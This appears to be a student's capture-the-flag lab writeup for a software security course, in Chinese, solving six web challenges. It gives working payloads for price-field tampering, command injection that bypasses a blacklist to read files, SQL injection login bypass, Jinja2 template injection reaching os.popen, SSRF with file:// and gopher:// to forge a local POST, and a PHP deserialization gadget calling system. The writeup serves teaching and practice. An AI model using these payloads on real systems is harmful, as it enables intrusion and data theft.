---
# System prepended metadata

title: SWSEC LAB4 Writeup
tags: [swsec, writeup]

---

# SWSEC LAB4 Writeup
###### tags: `swsec` `writeup`

<style>
    p:has(img) {
        text-align: center;
    }
    
    .markdown-body img {
        max-width: 75%;
    }
</style>

## Cat Shop
透過觀察前後的貓貓 推測 FLAG 的 `item_id` 是 5430

![image](https://hackmd.io/_uploads/S1cPok0vp.png)

另外觀察購買時的 request 可以看到 `cost` 這個欄位

![image](https://hackmd.io/_uploads/ByJYoJADT.png)

嘗試更改 cost 欄位為 0

![image](https://hackmd.io/_uploads/SJBsj1Rva.png)

得到 flag

![image](https://hackmd.io/_uploads/S123ik0wT.png)

FLAG: `FLAG{omg_y0u_hack3d_th3_c4t_sh0p!}`

## DNS Lookuper
```php
$blacklist = ['|', '&', ';', '>', '<', "\n", 'flag'];
$is_input_safe = true;
foreach ($blacklist as $bad_word)
    if (strstr($_POST['name'], $bad_word) !== false) $is_input_safe = false;

if ($is_input_safe)
    system("host '" . $_POST['name'] . "';");
else
    echo "HACKER!!!";
```

查看 source code 可以發現有明顯的 cmdi 漏洞

透過單引號將前面的單引號關閉 後面透過 `$()` substitution 來將執行結果放入 argument
最後加上 `#` 把後面剩下的指令註解掉

payload: `'$(cat /f*) #`

![image](https://hackmd.io/_uploads/rysM4ZAP6.png)

FLAG: ``FLAG{Y0U_$(Byp4ssed)_th3_`waf`}``

## Log me in
按下 magic 可以看到 input 是怎麼被放入 sql query 的 有明顯的 sqli 漏洞
因為 password 會被 base64 encode 所以在 username 做注入

Username: `admin') or 1=1 /* -- #'`
Password: `1`

![image](https://hackmd.io/_uploads/HyLSNb0va.png)


FLAG: `FLAG{b4by_sql_inj3cti0n}`

## Jinja2 SSTI

透過 `class.__mro__` (Method Resolution Order) 可以追蹤到整個 class 的繼承鍊 而 python 所有的物件都繼承 object
透過 `()` (empty tuple) 的 `__class__.__mro__[1]` 來拿 object 並透過 `object.__subclasses__()` 來存取其他的 class

`<class 'os._wrap_close'>` (index 132) 中的 `__init___.__globals` 有 `__builtins__` 可以存取 builtin functions 如 `__import__` 等 直接 import os 呼叫 popen 來做 RCE

讀取 flag 檔名:
`{{ ().__class__.__mro__[1].__subclasses__()[132].__init__.__globals__.__builtins__['__import__']('os').popen('ls /').read() }}`

![image](https://hackmd.io/_uploads/ryqw7Om8p.png)

另外 `<class '_frozen_importlib_external.FileLoader'>` (index 99) 的 `get_data()` 方法可讀檔

讀取 flag:
`
{{ ().__class__.__mro__[1].__subclasses__()[99].get_data('','/th1s_15_fl4ggggggg') }}
`

FLAG: `FLAG{ssti.__class__.__pwn__}`

## Preview Card
網頁中有一個網址欄位 輸入後會由伺服器存取該網址並回傳結果 可能有 SSRF

測試後發現可以用 `file://` protocol 透過以下 payload 讀 source code:
`file:///var/www/html/preview.php`

發現他使用 `curl` 來做 request 且沒有其他驗證 

![image](https://hackmd.io/_uploads/BJNrt_X8p.png)

另外讀取 `flag.php` 會發現它需要透過 POST 才會回傳 flag
但是上面 curl 的設定是無法改成 POST 的
```php
<?php
if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1') die("Only for localhost user.");
?>
<form action="/flag.php" method="post">
    Do you want the FLAG? <input type="text" name="givemeflag" value="no">
    <input type="submit">
</form>
<?php
if (isset($_POST['givemeflag']) && $_POST['givemeflag'] === 'yes')
    echo "FLAG:", getenv('FLAG');
```

此時可以透過 `gopher://` protocol 來對後端的任意 port 傳送 TCP payload
此處直接將 HTTP POST Request 透過 gopher 做偽造並傳送到 `localhost:80`

Payload:
```!
gopher://localhost:80/_POST%20/flag.php%20HTTP/1.1%0d%0AHost:%20127.0.0.1%0d%0AContent-Length:%2014%0d%0AContent-Type:%20application/x-www-form-urlencoded%0d%0a%0d%0agivemeflag=yes
```
這裡要注意要指定 `Content-Type` 為 `application/x-www-form-urlencoded`

![image](https://hackmd.io/_uploads/rJ2UO-0vp.png)

FLAG: `FLAG{gopher://http_post}`

## Magic Cat
```php
class Magic
{
    function cast($spell)
    {
        echo "<script>alert('MAGIC, $spell!');</script>";
    }
}

// Useless class?
class Caster
{
    public $cast_func = 'intval';
    function cast($val)
    {
        return ($this->cast_func)($val);
    }
}

class Cat
{
    public $magic;
    public $spell;
    function __construct($spell)
    {
        $this->magic = new Magic();
        $this->spell = $spell;
    }
    function __wakeup()
    {
        echo "Cat Wakeup!\n";
        $this->magic->cast($this->spell);
    }
}

if (isset($_GET['spell'])) {
    $cat = new Cat($_GET['spell']);
} else if (isset($_COOKIE['cat'])) {
    echo "Unserialize...\n";
    $cat = unserialize(base64_decode($_COOKIE['cat']));
} else {
    $cat = new Cat("meow-meow-magic");
}
```
 
查看原始碼後會發現其會把 cookie 中的東西拿來 unserialize
另外會發現 `Cat` 在 `__wakeup` 中會呼叫 `$this->magic->cast($this->spell)`
而 `__wakeup` 在 unserialize 時會被自動呼叫
因此只要控制 `$this->magic` 到 `cast()` 方法中有危險行為的 object 時 就能利用來觸發惡意行為

另外觀察到 `Caster` 的 `cast` 會用 `$cast_func` 來呼叫其參數 故將其控為 `system` 並控制傳入參數 (此處為 `Cat` 的 `$this->spell`) 即可達到 RCE

`Magic Cat/payload.php`
```php
<?php
class Caster {
    public $cast_func = 'system';
}

class Cat {
    public $magic;
    public $spell;
    function __construct($spell) {
        $this->magic = new Caster();
        $this->spell = $spell;
    }
}
echo base64_encode(serialize(new Cat($argv[1]))) . "\n";
```

![image](https://hackmd.io/_uploads/ryGwtZ0PT.png)

![image](https://hackmd.io/_uploads/rkWVt-RPT.png =60%x)

FLAG: `FLAG{magic_cat_pwnpwn}`
